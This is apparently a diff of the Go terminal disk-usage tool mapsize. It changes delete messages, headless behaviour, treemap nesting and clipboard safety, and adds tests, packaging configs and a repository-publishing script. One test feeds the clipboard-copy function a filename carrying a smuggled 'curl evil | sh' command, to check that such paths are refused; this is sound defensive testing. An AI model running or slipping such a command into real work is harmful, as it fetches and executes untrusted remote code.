body: []string{textutil.Sanitize(path), "", body: append(body, "It will be moved to the "+platform.TrashName+", not permanently deleted."),
fmt.Sprintf("%s · %s", what, textutil.Size(n.Total(m.sizeMode))), yes: "move to " + platform.TrashName,
"", "It will be moved to the " + platform.TrashName + ", not permanently deleted."},
yes: "move to " + platform.TrashName,
onYes: func(m *Model) tea.Cmd { onYes: func(m *Model) tea.Cmd {
t := m.tree t := m.tree
return func() tea.Msg { return trashDoneMsg{t, id, platform.Trash(path)} } return func() tea.Msg {
return trashDoneMsg{t, id, platform.Trash(path, want), "Moved to " + platform.TrashName}
}
}, },
}) })
return nil return nil
@@ -59,11 +78,11 @@ func (m *Model) requestTrash() tea.Cmd {
func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd { func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd {
if msg.err != nil { if msg.err != nil {
return m.warn("Trash failed: " + textutil.Sanitize(msg.err.Error())) return m.warn("Delete failed: " + textutil.Sanitize(msg.err.Error()))
} }
if msg.tree != m.tree || m.scanning { if msg.tree != m.tree || m.scanning {
// A rescan replaced the inventory; the new scan reflects the change. // A rescan replaced the inventory; the new scan reflects the change.
return m.info("Moved to " + platform.TrashName) return m.info(msg.done)
} }
// The scan has finished, so the UI goroutine is the tree's only writer. // The scan has finished, so the UI goroutine is the tree's only writer.
t := m.tree t := m.tree
@@ -85,7 +104,7 @@ func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd {
name := n.Name name := n.Name
t.Unlock() t.Unlock()
m.invalidate() m.invalidate()
return m.info("Moved to " + platform.TrashName + ": " + textutil.Sanitize(name)) return m.info(msg.done + ": " + textutil.Sanitize(name))
} }
// ---- Duplicates ---------------------------------------------------------- // ---- Duplicates ----------------------------------------------------------
+1 -1
View File
@@ -110,7 +110,7 @@ func (v *infoView) paint(m *Model, cv *Canvas, r treemap.Rect) {
} }
line("Exclusions", excl, value) line("Exclusions", excl, value)
line("One filesystem", fmt.Sprint(st.OneFileSystem), value) line("One filesystem", fmt.Sprint(st.OneFileSystem), value)
line("Follow symlinks", st.Follow, value) line("Follow symlinks", textutil.Sanitize(st.Follow), value)
line("Size mode", m.sizeMode.String(), value) line("Size mode", m.sizeMode.String(), value)
units := "IEC (1024)" units := "IEC (1024)"
if textutil.SI { if textutil.SI {
+23 -2
View File
@@ -109,7 +109,7 @@ func (m *Model) handleKey(msg tea.KeyPressMsg) tea.Cmd {
case "D": case "D":
return m.startDuplicates() return m.startDuplicates()
case "c": case "c":
return m.copyPath() return m.copySelected()
case "o": case "o":
return m.reveal() return m.reveal()
case "d", "delete": case "d", "delete":
@@ -200,11 +200,21 @@ func (m *Model) selectedPath() (string, bool) {
return m.tree.Path(id), true return m.tree.Path(id), true
} }
func (m *Model) copyPath() tea.Cmd { func (m *Model) copySelected() tea.Cmd {
p, ok := m.selectedPath() p, ok := m.selectedPath()
if !ok { if !ok {
return nil return nil
} }
return m.copyPath(p)
}
// copyPath puts p on the clipboard (OSC 52). Paths that would not survive
// display unchanged are refused: a newline in a hostile filename runs
// commands when pasted into a shell, and bidi controls disguise them.
func (m *Model) copyPath(p string) tea.Cmd {
if textutil.Sanitize(p) != p {
return m.warn("Not copied: path contains control or bidi characters")
}
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)")) return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
} }
@@ -216,6 +226,17 @@ func (m *Model) reveal() tea.Cmd {
if !ok { if !ok {
return nil return nil
} }
if platform.Headless() {
// No file manager: show the folder in the map instead.
id := m.selectedNode()
if m.tree.Node(id).IsDir() && len(m.kidsOf(id).ids) > 0 {
m.zoomTo(id)
m.setViewByName("Map")
} else {
m.jumpTo(id)
}
return m.info("Showing " + textutil.Sanitize(m.tree.Path(m.zoom)))
}
if err := platform.Reveal(p); err != nil { if err := platform.Reveal(p); err != nil {
return m.warn("Open failed: " + textutil.Sanitize(err.Error())) return m.warn("Open failed: " + textutil.Sanitize(err.Error()))
} }
+45 -8
View File
@@ -43,7 +43,7 @@ const (
topMaxItems = 400 topMaxItems = 400
nestMinArea = 3 nestMinArea = 3
nestMaxItems = 120 nestMaxItems = 120
maxNestDepth = 3 maxNestDepth = 8 // block-size thresholds stop recursion long before this
nestMinW = 4 nestMinW = 4
nestMinH = 2 nestMinH = 2
nestRecurseW = 14 nestRecurseW = 14
@@ -65,7 +65,7 @@ func (m *Model) layoutTreemap(r treemap.Rect) *tmLayout {
in := b.Inset(1) in := b.Inset(1)
if in.W >= nestMinW && in.H >= nestMinH { if in.W >= nestMinW && in.H >= nestMinH {
before := len(l.nested) before := len(l.nested)
m.layoutNested(l, inventory.NodeID(b.ID), in, 2) m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), in, 2)
l.inner[b.ID] = len(l.nested) > before l.inner[b.ID] = len(l.nested) > before
} }
} }
@@ -104,7 +104,7 @@ func (m *Model) layoutLevel(l *tmLayout, parent inventory.NodeID, r treemap.Rect
func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rect, depth int) { func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rect, depth int) {
// Deeper levels need bigger blocks to stay legible rather than noisy. // Deeper levels need bigger blocks to stay legible rather than noisy.
blocks := m.layoutLevel(l, parent, r, nestMinArea*(depth-1)*(depth-1), nestMaxItems) blocks := m.layoutLevel(l, parent, r, nestMinArea*(depth-1), nestMaxItems)
for i, b := range blocks { for i, b := range blocks {
nb := nested{id: b.ID, r: b.Rect, depth: depth, alt: i%2 == 1} nb := nested{id: b.ID, r: b.Rect, depth: depth, alt: i%2 == 1}
idx := len(l.nested) idx := len(l.nested)
@@ -112,11 +112,24 @@ func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rec
if depth < maxNestDepth && b.ID >= 0 && b.W >= nestRecurseW && b.H >= nestRecurseH && if depth < maxNestDepth && b.ID >= 0 && b.W >= nestRecurseW && b.H >= nestRecurseH &&
m.tree.Node(inventory.NodeID(b.ID)).IsDir() { m.tree.Node(inventory.NodeID(b.ID)).IsDir() {
l.nested[idx].inner = true l.nested[idx].inner = true
m.layoutNested(l, inventory.NodeID(b.ID), treemap.Rect{X: b.X, Y: b.Y + 1, W: b.W - 1, H: b.H - 2}, depth+1) m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), treemap.Rect{X: b.X, Y: b.Y + 1, W: b.W - 1, H: b.H - 2}, depth+1)
} }
} }
} }
// chainEnd follows directories whose only non-empty child is a directory
// (mnt → raid → media), so nesting spends its space on the level that
// actually branches instead of on full-size wrappers.
func (m *Model) chainEnd(id inventory.NodeID) inventory.NodeID {
for {
k := m.kidsOf(id)
if len(k.ids) != 1 || !m.tree.Node(k.ids[0]).IsDir() {
return id
}
id = k.ids[0]
}
}
// groupInfo returns the LOD group for a group ID in the current layout. // groupInfo returns the LOD group for a group ID in the current layout.
func (m *Model) groupInfo(id int64) (*group, bool) { func (m *Model) groupInfo(id int64) (*group, bool) {
if m.tm == nil { if m.tm == nil {
@@ -168,10 +181,15 @@ func (m *Model) blockName(id int64) string {
} }
return "smaller items" return "smaller items"
} }
n := m.tree.Node(inventory.NodeID(id)) nid := inventory.NodeID(id)
n := m.tree.Node(nid)
name := textutil.Sanitize(n.Name) name := textutil.Sanitize(n.Name)
if n.IsDir() && inventory.NodeID(id) != m.tree.Root() { if n.IsDir() && nid != m.tree.Root() {
name += "/" name += "/"
for end := m.chainEnd(nid); nid != end; {
nid = m.kidsOf(nid).ids[0]
name += textutil.Sanitize(m.tree.Node(nid).Name) + "/"
}
} }
return name return name
} }
@@ -186,6 +204,20 @@ func (m *Model) blockSize(id int64) int64 {
return m.sizeOf(inventory.NodeID(id)) return m.sizeOf(inventory.NodeID(id))
} }
// parentSize is the size of the folder a block sits in.
func (m *Model) parentSize(id int64) int64 {
if isGroup(id) {
if g, ok := m.groupInfo(id); ok {
return m.sizeOf(g.parent)
}
return 0
}
if p := m.tree.Node(inventory.NodeID(id)).Parent; p != inventory.NoNode {
return m.sizeOf(p)
}
return 0
}
func (m *Model) paintTop(cv *Canvas, b treemap.Block, sel, hov bool, total int64) { func (m *Model) paintTop(cv *Canvas, b treemap.Block, sel, hov bool, total int64) {
t := m.theme t := m.theme
base := m.colorOf(b.ID) base := m.colorOf(b.ID)
@@ -276,7 +308,7 @@ func (m *Model) hasNested(id int64) bool { return m.tm != nil && m.tm.inner[id]
func (m *Model) paintNested(cv *Canvas, nb nested) { func (m *Model) paintNested(cv *Canvas, nb nested) {
t := m.theme t := m.theme
base := m.colorOf(nb.id) base := m.colorOf(nb.id)
f := 0.38 - 0.1*float64(nb.depth-2) f := max(0.38-0.1*float64(nb.depth-2), 0.1)
if nb.alt { if nb.alt {
f += 0.07 f += 0.07
} }
@@ -327,7 +359,12 @@ func (m *Model) paintNested(cv *Canvas, nb nested) {
} }
cv.Text(lx, ly, textutil.Truncate(name, lw), lw, Style{FG: st.FG, BG: bg, Attr: Bold}) cv.Text(lx, ly, textutil.Truncate(name, lw), lw, Style{FG: st.FG, BG: bg, Attr: Bold})
if !nb.inner && r.H >= 3 && lw >= 5 { if !nb.inner && r.H >= 3 && lw >= 5 {
cv.Text(lx, ly+1, textutil.Truncate(textutil.SizeCompact(m.blockSize(nb.id)), lw), lw, Style{FG: bg.Mix(st.FG, 0.7), BG: bg}) size := m.blockSize(nb.id)
label := textutil.SizeCompact(size)
if pct := textutil.Percent(size, m.parentSize(nb.id)); textutil.Width(label)+textutil.Width(pct)+3 <= lw {
label += " · " + pct
}
cv.Text(lx, ly+1, textutil.Truncate(label, lw), lw, Style{FG: bg.Mix(st.FG, 0.7), BG: bg})
} }
} }
+23 -7
View File
@@ -39,9 +39,9 @@ func (*infoModal) width() int { return 72 }
func (md *infoModal) title() string { return "Item information" } func (md *infoModal) title() string { return "Item information" }
func (md *infoModal) footer(m *Model) string { func (md *infoModal) footer(m *Model) string {
s := "Esc close · c copy path · o reveal · Space go to" s := "Esc close · c copy path · o " + revealVerb() + " · Space go to"
if !m.opts.ReadOnly && !m.snapshot { if !m.opts.ReadOnly && !m.snapshot {
s += " · d trash" s += " · d " + deleteVerb()
} }
return s return s
} }
@@ -165,11 +165,11 @@ func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04
func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) { func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) {
switch k { switch k {
case "c": case "c":
p := m.tree.Path(md.id) return false, m.copyPath(m.tree.Path(md.id))
return false, tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard"))
case "o": case "o":
m.sel = int64(md.id) m.sel = int64(md.id)
return false, m.reveal() // Headless, o navigates the map, which the modal would cover.
return platform.Headless(), m.reveal()
case "enter": case "enter":
return true, nil return true, nil
case "g", "right": case "g", "right":
@@ -274,9 +274,9 @@ func (helpModal) content(m *Model, _ int) []line {
sec("APPLICATION") sec("APPLICATION")
row("a", "toggle allocated / logical (apparent) size") row("a", "toggle allocated / logical (apparent) size")
row("c", "copy path to clipboard") row("c", "copy path to clipboard")
row("o", "reveal in file manager") row("o", revealVerb())
if !m.opts.ReadOnly { if !m.opts.ReadOnly {
row("d", "move to trash (asks first)") row("d", deleteVerb()+" (asks first)")
} }
row("s", "save snapshot") row("s", "save snapshot")
row("r", "rescan") row("r", "rescan")
@@ -373,3 +373,19 @@ func (md *saveModal) key(m *Model, k string) (bool, tea.Cmd) {
} }
return false, nil return false, nil
} }
// revealVerb and deleteVerb describe o and d, which change meaning on a
// headless system.
func revealVerb() string {
if platform.Headless() {
return "show folder in map"
}
return "reveal in file manager"
}
func deleteVerb() string {
if platform.Headless() {
return "delete permanently"
}
return "move to " + platform.TrashName
}
+89
View File
@@ -0,0 +1,89 @@
package tui
import (
"context"
"fmt"
"strings"
"testing"
"github.com/charmbracelet/colorprofile"
"github.com/charmbracelet/x/ansi"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/scan"
)
func rootTree() *inventory.Tree {
t := inventory.New("/", inventory.KindDir)
add := func(p inventory.NodeID, name string, size int64) {
id := t.Add(p, name, inventory.KindFile)
n := t.Node(id)
n.Size, n.Alloc = size, size
n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false)
}
dir := func(p inventory.NodeID, name string) inventory.NodeID {
id := t.Add(p, name, inventory.KindDir)
t.Node(id).Flags |= inventory.FlagScanned
return id
}
mnt := dir(0, "mnt")
raid := dir(mnt, "raid")
media := dir(raid, "media")
for _, show := range []string{"X-Files", "Simpsons", "Frasier"} {
s := dir(media, show)
for i := 1; i <= 5; i++ {
se := dir(s, fmt.Sprintf("S%02d", i))
for e := 1; e <= 20; e++ {
add(se, fmt.Sprintf("E%02d.mkv", e), int64(e)<<28)
}
}
}
usr := dir(0, "usr")
lib := dir(usr, "lib")
for i := range 50 {
add(lib, fmt.Sprintf("lib%d.so", i), int64(i+1)<<22)
}
v := dir(0, "var")
add(dir(v, "log"), "syslog", 2<<30)
t.Recompute()
t.Stats.Complete = true
return t
}
// A single-child chain (mnt → raid → media) must not use up the nesting
// budget: the map at / should reach the seasons and their episodes.
func TestNestingReachesDeepMedia(t *testing.T) {
tr := rootTree()
m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {})
m.profile = colorprofile.TrueColor
send(m, size(160, 45))
if out := ansi.Strip(m.View().Content); !strings.Contains(out, "mnt/raid/media/") || !strings.Contains(out, "S01/") {
t.Fatalf("chain or seasons missing:\n%s", out)
}
files := 0
for _, nb := range m.tm.nested {
if nb.id >= 0 && !tr.Node(inventory.NodeID(nb.id)).IsDir() {
files++
}
}
if files < 50 {
t.Fatalf("only %d episode blocks drawn", files)
}
}
// Headless, o shows the selected folder in the map instead of launching a
// file manager.
func TestRevealHeadlessZoomsMap(t *testing.T) {
t.Setenv("DISPLAY", "")
t.Setenv("WAYLAND_DISPLAY", "")
tr := rootTree()
m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {})
send(m, size(160, 45))
mnt := m.kidsOf(m.zoom).ids[0]
m.snapshot = false // reveal is refused for snapshots
m.sel, m.userSel = int64(mnt), true
send(m, key("o"))
if m.zoom != mnt {
t.Fatalf("zoom = %q, want mnt", tr.Path(m.zoom))
}
}
+17
View File
@@ -480,3 +480,20 @@ func TestColourDepthsRenderSameGeometry(t *testing.T) {
checkFrame(t, m, 100, 30) checkFrame(t, m, 100, 30)
} }
} }
// A filename with a newline would run commands when pasted into a shell.
func TestCopyRefusesControlCharacters(t *testing.T) {
m := newTestModel(t)
m.copyPath("/srv/x\ncurl evil | sh\n")
if !strings.HasPrefix(m.toast, "Not copied") {
t.Fatalf("hostile path copied: %q", m.toast)
}
m.copyPath("/srv/media/" + hostile)
if !strings.HasPrefix(m.toast, "Not copied") {
t.Fatalf("escape sequence copied: %q", m.toast)
}
m.copyPath("/srv/photos 日本語/img001.jpg")
if !strings.HasPrefix(m.toast, "Copied") {
t.Fatalf("plain path refused: %q", m.toast)
}
}
+14
View File
@@ -0,0 +1,14 @@
name: mapsize
arch: ${ARCH}
version: ${VERSION}
maintainer: Andy Dixon <andy@dixon.cx>
description: Interactive full-terminal disk usage analyser with a live treemap.
homepage: https://github.com/andydixon/mapsize
license: GPL-3.0-or-later
contents:
- src: bin/release/pkg/mapsize
dst: /usr/bin/mapsize
- src: docs/mapsize.1
dst: /usr/share/man/man1/mapsize.1
file_info:
mode: 0644
+26
View File
@@ -0,0 +1,26 @@
# Homebrew formula template for mapsize. `make brew-formula` fills in the
# version and the checksum of the GitHub source tarball and writes the
# result to bin/homebrew/mapsize.rb; copy that into your tap
# (github.com/andydixon/homebrew-tap, Formula/mapsize.rb).
class Mapsize < Formula
desc "Interactive terminal disk usage analyser with a navigable treemap"
homepage "https://github.com/andydixon/mapsize"
url "https://github.com/andydixon/mapsize/archive/refs/tags/v@VERSION@.tar.gz"
sha256 "@SHA256@"
license "GPL-3.0-or-later"
head "https://github.com/andydixon/mapsize.git", branch: "master"
depends_on "go" => :build
def install
ldflags = "-X github.com/andydixon/mapsize/internal/brand.Version=#{version}"
system "go", "build", *std_go_args(ldflags:), "./cmd/mapsize"
man1.install "docs/mapsize.1"
end
test do
assert_match version.to_s, shell_output("#{bin}/mapsize --version")
(testpath/"data/file.txt").write "hello"
assert_match "Files", shell_output("#{bin}/mapsize --no-ui #{testpath}/data")
end
end
+196
View File
@@ -0,0 +1,196 @@
#!/usr/bin/env bash
# Build Linux packages (.deb, .rpm, Arch .pkg.tar.zst) for a release tag and
# publish them to the signed apt, dnf and pacman repositories served at
# https://repo.dixon.cx.
#
# packaging/repo.sh # the newest tag
# packaging/repo.sh v1.0.0 # a given tag
#
# Builds from a clean export of the tag, so the working tree doesn't matter.
# Every index is rebuilt over all the packages in the repository, so other
# projects publishing there with their copy of this script are kept.
#
# Needs: go, docker, gpg, apt-ftparchive (apt-utils), flock.
# REPO_DIR where the repository lives (default below)
# REPO_GNUPGHOME GnuPG home holding the signing key (default below)
# ARCHS Go architectures to package (default below)
#
# The same script, with its own project block, is in ../vault/packaging.
set -euo pipefail
# ---- project ---------------------------------------------------------------
NAME=mapsize # the command
PACKAGE=mapsize
CONFLICTS=
SUMMARY="Interactive full-terminal disk usage analyser with a live treemap"
HOMEPAGE=https://github.com/andydixon/mapsize
LICENSE=GPL-3.0-or-later
MANPAGES=docs/*.1
DOCS="README.md CHANGELOG.md LICENSE"
# build OUT: build the binary to OUT, in the source tree, with GOOS, GOARCH
# and GOARM set and VERSION the release.
build() {
CGO_ENABLED=0 go build -trimpath \
-ldflags "-s -w -X github.com/andydixon/mapsize/internal/brand.Version=$VERSION" \
-o "$1" ./cmd/mapsize
}
# ----------------------------------------------------------------------------
REPO_DIR=${REPO_DIR:-/home/andy/domains/repo.dixon.cx/public_html}
REPO_GNUPGHOME=${REPO_GNUPGHOME:-$HOME/.config/repo.dixon.cx/gnupg}
ARCHS=${ARCHS:-"amd64 arm64 arm 386 riscv64"}
NFPM="go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1"
SUITE=stable
COMPONENT=main
ARCH_REPO=dixon # the pacman repository name: [dixon]
say() { echo "repo: $*" >&2; }
die() { say "$*"; exit 1; }
for tool in go docker gpg apt-ftparchive flock; do
command -v $tool >/dev/null || die "needs $tool"
done
[[ -d $REPO_DIR ]] || die "$REPO_DIR does not exist"
export GNUPGHOME=$REPO_GNUPGHOME
KEY=$(gpg --list-secret-keys --with-colons 2>/dev/null | awk -F: '/^fpr/{print $10; exit}')
[[ -n $KEY ]] || die "no signing key in $GNUPGHOME"
cd "$(git rev-parse --show-toplevel)"
TAG=${1:-$(git describe --tags --abbrev=0)}
git rev-parse -q --verify "refs/tags/$TAG" >/dev/null || die "no tag $TAG"
VERSION=${TAG#v}
export VERSION
WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT
git archive "$TAG" | tar -x -C "$WORK" --one-top-level=src
gpg --batch --armor --export-secret-keys "$KEY" >"$WORK/signing.asc"
# ---- build -----------------------------------------------------------------
say "building $PACKAGE $VERSION for $ARCHS"
mkdir -p "$WORK/out"
for arch in $ARCHS; do
goarm= nfarch=$arch
[[ $arch == arm ]] && goarm=7 nfarch=arm7
(cd "$WORK/src" && GOOS=linux GOARCH=$arch GOARM=$goarm build "$WORK/bin-$arch/$NAME")
{
cat <<-EOF
name: $PACKAGE
arch: $nfarch
platform: linux
version: $VERSION
release: 1
maintainer: Andy Dixon <andy@dixon.cx>
description: $SUMMARY
homepage: $HOMEPAGE
license: $LICENSE
conflicts: [${CONFLICTS:-}]
contents:
- src: $WORK/bin-$arch/$NAME
dst: /usr/bin/$NAME
file_info: {mode: 0755}
EOF
for m in $(cd "$WORK/src" && ls $MANPAGES); do
printf ' - src: %s\n dst: /usr/share/man/man1/%s\n file_info: {mode: 0644}\n' \
"$WORK/src/$m" "$(basename "$m")"
done
for d in $DOCS; do
printf ' - src: %s\n dst: /usr/share/doc/%s/%s\n file_info: {mode: 0644}\n' \
"$WORK/src/$d" "$PACKAGE" "$d"
done
printf 'rpm:\n signature:\n key_file: %s\n' "$WORK/signing.asc"
} >"$WORK/nfpm-$arch.yaml"
for fmt in deb rpm archlinux; do
$NFPM pkg -f "$WORK/nfpm-$arch.yaml" -p $fmt -t "$WORK/out/" >/dev/null
done
done
# ---- publish ---------------------------------------------------------------
# One publisher at a time: the indexes cover every project's packages.
exec 9>"$REPO_DIR/../.publish.lock"
flock 9
say "publishing to $REPO_DIR"
gpg --batch --armor --export "$KEY" >"$REPO_DIR/dixon.asc"
gpg --batch --export "$KEY" >"$REPO_DIR/dixon.gpg"
sign() { gpg --batch --yes --local-user "$KEY" "$@"; }
# apt: pool/main/<letter>/<name>/, indexed by apt-ftparchive.
pool=$REPO_DIR/apt/pool/$COMPONENT/${PACKAGE:0:1}/$PACKAGE
mkdir -p "$pool"
cp "$WORK"/out/*.deb "$pool/"
(
cd "$REPO_DIR/apt"
# Built beside the live suite and swapped in, so clients never see half.
dists=dists/.$SUITE.new
rm -rf "$dists"
debarchs=$(find pool -name '*.deb' | sed -E 's/.*_([^_]+)\.deb$/\1/' | sort -u | tr '\n' ' ')
for a in $debarchs; do
d=$dists/$COMPONENT/binary-$a
mkdir -p "$d"
apt-ftparchive --arch "$a" packages pool >"$d/Packages"
gzip -9kn "$d/Packages"
done
apt-ftparchive \
-o APT::FTPArchive::Release::Origin=repo.dixon.cx \
-o APT::FTPArchive::Release::Label=repo.dixon.cx \
-o APT::FTPArchive::Release::Suite=$SUITE \
-o APT::FTPArchive::Release::Codename=$SUITE \
-o APT::FTPArchive::Release::Components=$COMPONENT \
-o "APT::FTPArchive::Release::Architectures=${debarchs% }" \
release "$dists" >"$WORK/Release"
mv "$WORK/Release" "$dists/Release"
sign --clearsign -o "$dists/InRelease" "$dists/Release"
sign --armor --detach-sign -o "$dists/Release.gpg" "$dists/Release"
rm -rf "dists/.$SUITE.old"
[[ -d dists/$SUITE ]] && mv "dists/$SUITE" "dists/.$SUITE.old"
mv "$dists" "dists/$SUITE"
rm -rf "dists/.$SUITE.old"
)
# dnf: every architecture in one directory; dnf picks its own.
mkdir -p "$REPO_DIR/rpm"
cp "$WORK"/out/*.rpm "$REPO_DIR/rpm/"
docker image inspect repo-tools:fedora >/dev/null 2>&1 ||
docker build -q -t repo-tools:fedora - >/dev/null <<-'EOF'
FROM fedora:42
RUN dnf -y install createrepo_c && dnf clean all
EOF
docker run --rm --user "$(id -u):$(id -g)" -v "$REPO_DIR/rpm:/repo" repo-tools:fedora \
createrepo_c --quiet --update --general-compress-type=gz /repo
sign --armor --detach-sign -o "$REPO_DIR/rpm/repodata/repomd.xml.asc" "$REPO_DIR/rpm/repodata/repomd.xml"
cat >"$REPO_DIR/rpm/dixon.repo" <<EOF
[dixon]
name=repo.dixon.cx
baseurl=https://repo.dixon.cx/rpm
enabled=1
gpgcheck=1
repo_gpgcheck=1
gpgkey=https://repo.dixon.cx/dixon.asc
EOF
# pacman: one directory per architecture, each package signed, then
# repo-add (from an Arch container) and a signed database.
added=
for pkg in "$WORK"/out/*.pkg.tar.zst; do
a=$(basename "$pkg" .pkg.tar.zst)
a=${a##*-}
mkdir -p "$REPO_DIR/arch/$a"
cp "$pkg" "$REPO_DIR/arch/$a/"
sign --detach-sign -o "$REPO_DIR/arch/$a/$(basename "$pkg").sig" "$pkg"
added+=" $a"
done
for a in $(tr ' ' '\n' <<<"$added" | sort -u); do
dir=$REPO_DIR/arch/$a
# A fresh database of every package here; -p keeps the newest version.
rm -f "$dir/$ARCH_REPO".{db,files}{,.tar.gz}{,.sig}
docker run --rm --user "$(id -u):$(id -g)" -e HOME=/tmp -v "$dir:/repo" -w /repo archlinux:latest \
sh -c "repo-add --quiet --prevent-downgrade $ARCH_REPO.db.tar.gz *.pkg.tar.zst" 2>&1 |
{ grep -v "newer version\|^$" >&2 || true; }
for db in $ARCH_REPO.db $ARCH_REPO.files; do
sign --detach-sign -o "$dir/$db.tar.gz.sig" "$dir/$db.tar.gz"
ln -sfn "$db.tar.gz.sig" "$dir/$db.sig"
done
rm -f "$dir"/*.old "$dir"/*.old.sig
done
say "published $PACKAGE $VERSION: $(cd "$WORK/out" && ls | wc -l) packages"